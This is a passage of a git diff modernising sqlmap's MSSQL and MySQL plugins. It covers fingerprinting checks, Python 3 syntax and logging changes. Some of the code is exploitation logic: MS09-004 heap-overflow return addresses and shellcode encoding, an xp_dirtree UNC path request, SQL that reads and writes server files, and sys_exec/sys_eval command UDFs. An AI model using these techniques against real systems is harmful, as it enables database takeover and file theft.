localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) return written diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 8483b6429a9..18b4b0beb64 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -46,9 +46,9 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None - version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None + release = kb.bannerFp.get("dbmsRelease") + version = kb.bannerFp.get("dbmsVersion") + servicepack = kb.bannerFp.get("dbmsServicePack") if release and version and servicepack: banVer = "%s %s " % (DBMS.MSSQL, release) @@ -65,9 +65,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ - or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \ - Backend.getVersion().isdigit(): + if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() @@ -84,20 +82,30 @@ def checkDbms(self): if conf.direct: result = True else: - result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])") + result = inject.checkBooleanExpression("IS_SRVROLEMEMBER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) - for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \ - ("2005", "XACT_STATE()=XACT_STATE()"), \ - ("2008", "SYSDATETIME()=SYSDATETIME()"), \ - ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)")): + for version, check in ( + ("Azure", "@@VERSION LIKE '%Azure%'"), + ("2025", "CHARINDEX('17.0.',@@VERSION)>0"), + ("2022", "GREATEST(NULL,NULL) IS NULL"), + ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), + ("2017", "TRIM(NULL) IS NULL"), + ("2016", "ISJSON(NULL) IS NULL"), + ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), + ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), + ("2008", "SYSDATETIME()=SYSDATETIME()"), + ("2005", "XACT_STATE()=XACT_STATE()"), + ("2000", "HOST_NAME()=HOST_NAME()"), + ): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) + break if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) @@ -111,7 +119,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -134,16 +142,19 @@ def checkDbmsOs(self, detailed=False): self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) - # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions - # http://en.wikipedia.org/wiki/Windows_NT#Releases - versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), - "2000": ("5.0", (4, 3, 2, 1)), - "XP": ("5.1", (3, 2, 1)), - "2003": ("5.2", (2, 1)), - "Vista or 2008": ("6.0", (2, 1)), - "7 or 2008 R2": ("6.1", (1, 0)), - "8 or 2012": ("6.2", (0,)), - "8.1 or 2012 R2": ("6.3", (0,)) } + # Reference: https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions + # https://en.wikipedia.org/wiki/Windows_NT#Releases + versions = { + "NT": ("4.0", (6, 5, 4, 3, 2, 1)), + "2000": ("5.0", (4, 3, 2, 1)), + "XP": ("5.1", (3, 2, 1)), + "2003": ("5.2", (2, 1)), + "Vista or 2008": ("6.0", (2, 1)), + "7 or 2008 R2": ("6.1", (1, 0)), + "8 or 2012": ("6.2", (0,)), + "8.1 or 2012 R2": ("6.3", (0,)), + "10 or 11 or 2016 or 2019 or 2022": ("10.0", (0,)) + } # Get back-end DBMS underlying operating system version for version, data in versions.items(): @@ -163,7 +174,7 @@ def checkDbmsOs(self, detailed=False): warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) - logger.warn(warnMsg) + logger.warning(warnMsg) self.cleanup(onlyFileTbl=True) diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 314ba5c8dca..183ce9462c9 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,24 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+NCHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True """ def escaper(value): - return "+".join("%s(%d)" % ("CHAR" if ord(value[i]) < 256 else "NCHAR", ord(value[i])) for i in xrange(len(value))) + return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "NCHAR", _) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index e387d409556..23a10b318a4 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,13 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import binascii from lib.core.common import Backend +from lib.core.compat import xrange +from lib.core.convert import getBytes from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject @@ -20,32 +22,33 @@ def __init__(self): GenericTakeover.__init__(self) def uncPathRequest(self): - #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) + # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) def spHeapOverflow(self): """ References: - * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx - * http://support.microsoft.com/kb/959420 + * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004 + * https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co """ returns = { - # 2003 Service Pack 0 - "2003-0": (""), + # 2003 Service Pack 0 + "2003-0": (""), - # 2003 Service Pack 1 - "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), + # 2003 Service Pack 1 + "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"), - # 2003 Service Pack 2 updated at 12/2008 - #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), + # 2003 Service Pack 2 updated at 12/2008 + # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"), - # 2003 Service Pack 2 updated at 05/2009 - "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), + # 2003 Service Pack 2 updated at 05/2009 + "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), + + # 2003 Service Pack 2 updated at 09/2009 + # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), + } - # 2003 Service Pack 2 updated at 09/2009 - #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), - } addrs = None for versionSp, data in returns.items(): @@ -58,14 +61,14 @@ def spHeapOverflow(self): break if not addrs: - errMsg = "sqlmap can not exploit the stored procedure buffer " + errMsg = "sqlmap cannot exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" - hexStr = binascii.hexlify(self.shellcodeString[:-1]) + hexStr = binascii.hexlify(getBytes(self.shellcodeString[:-1])) for hexPair in xrange(0, len(hexStr), 2): shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2] diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 7baec6ce903..21e2f4550b0 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,17 +23,13 @@ class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take def __init__(self): self.excludeDbsList = MYSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF return data-type - "sys_exec": { "return": "int" }, - "sys_eval": { "return": "string" }, - "sys_bineval": { "return": "int" } - } + # UDF name: UDF return data-type + "sys_exec": {"return": "int"}, + "sys_eval": {"return": "string"}, + "sys_bineval": {"return": "int"} + } - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.MYSQL] = Syntax.escape diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 62e073425d6..bfa87d4239c 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,17 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import pymysql -except ImportError: +except: pass import logging +import struct +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -19,25 +21,21 @@ class Connector(GenericConnector): """ - Homepage: http://code.google.com/p/pymysql/ - User guide: http://code.google.com/p/pymysql/ - API: http://code.google.com/p/pymysql/ - Debian package: <none> + Homepage: https://github.com/PyMySQL/PyMySQL + User guide: https://pymysql.readthedocs.io/en/latest/ + Debian package: python3-pymysql License: MIT Possible connectors: http://wiki.python.org/moin/MySQL """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) - except (pymysql.OperationalError, pymysql.InternalError), msg: - raise SqlmapConnectionException(msg[1]) + except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -45,8 +43,8 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except pymysql.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + except pymysql.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): @@ -55,10 +53,10 @@ def execute(self, query): try: self.cursor.execute(query) retVal = True - except (pymysql.OperationalError, pymysql.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) - except pymysql.InternalError, msg: - raise SqlmapConnectionException(msg[1]) + except (pymysql.OperationalError, pymysql.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pymysql.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 6480d9c7b3b..129b1e6106a 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,12 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) + pass diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 1bfd8f621fa..f8c83be25ef 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,56 +1,61 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.agent import agent +from lib.core.common import getSQLSnippet from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapNoneDataException from lib.request import inject +from lib.request.connect import Connect as Request from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def nonStackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % rFile + logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + def stackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) - debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile + debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) - inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) + inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " - debugMsg += "'%s' into support table" % rFile + debugMsg += "'%s' into support table" % remoteFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) @@ -58,50 +63,51 @@ def stackedReadFile(self, rFile): if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " - warnMsg += "file '%s'" % rFile + warnMsg += "file '%s'" % remoteFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - warnMsg += ", going to fall-back to simpler UNION technique" - logger.warn(warnMsg) - result = self.nonStackedReadFile(rFile) + if not kb.bruteMode: + warnMsg += ", going to fall-back to simpler UNION technique" + logger.warning(warnMsg) + result = self.nonStackedReadFile(remoteFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) - sustrLen = 1024 + chunkSize = 1024 - if length > sustrLen: + if length > chunkSize: result = [] - for i in xrange(1, length, sustrLen): - chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) - + for i in xrange(1, length + 1, chunkSize): + chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result - def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): + @stackedmethod + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: - warnMsg = "the injection is on a GET parameter and the file " + warnMsg = "as the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" - logger.warn(warnMsg) + logger.warning(warnMsg) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE - sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) + sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile) unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() @@ -109,9 +115,37 @@ def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) - return self.askCheckWrittenFile(wFile, dFile, forceCheck) + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) - def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + logger.debug("encoding file to its hexadecimal string value") + + fcEncodedList = self.fileEncode(localFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warning(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) + logger.debug(debugMsg) + + query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr) + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) + payload = agent.payload(newValue=query) + Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) + + warnMsg = "expect junk characters inside the " + warnMsg += "file as a leftover from original query" + singleTimeWarnMessage(warnMsg) + + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) @@ -119,7 +153,7 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): self.createSupportTbl(self.fileTblName, self.tblField, "longblob") logger.debug("encoding file to its hexadecimal string value") - fcEncodedList = self.fileEncode(wFile, "hex", False) + fcEncodedList = self.fileEncode(localFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" @@ -129,13 +163,15 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("inserting the hexadecimal encoded file to the support table") + inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) + for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) - debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html - inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) + inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) - return self.askCheckWrittenFile(wFile, dFile, forceCheck) + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index dbeedfa29cc..e3fcb1cf6fa 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,23 +1,27 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES -from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -33,71 +37,97 @@ def _commentCheck(self): if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return None - # MySQL valid versions updated on 04/2011 + # Reference: https://downloads.mysql.com/archives/community/ + # Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/ + versions = ( - (32200, 32235), # MySQL 3.22 - (32300, 32359), # MySQL 3.23 - (40000, 40032), # MySQL 4.0 - (40100, 40131), # MySQL 4.1 - (50000, 50092), # MySQL 5.0 - (50100, 50156), # MySQL 5.1 - (50400, 50404), # MySQL 5.4 - (50500, 50521), # MySQL 5.5 - (50600, 50604), # MySQL 5.6 - (60000, 60014), # MySQL 6.0 - ) - - index = -1 - for i in xrange(len(versions)): - element = versions[i] - version = element[0] - version = getUnicode(version) - result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) - - if result: - break - else: - index += 1 + (90600, 90601), # MySQL 9.6 + (90500, 90501), # MySQL 9.5 + (90400, 90401), # MySQL 9.4 + (90300, 90301), # MySQL 9.3 + (90200, 90201), # MySQL 9.2 + (90100, 90101), # MySQL 9.1 + (90000, 90002), # MySQL 9.0 + (80400, 80409), # MySQL 8.4 + (80300, 80301), # MySQL 8.3 + (80200, 80201), # MySQL 8.2 + (80100, 80101), # MySQL 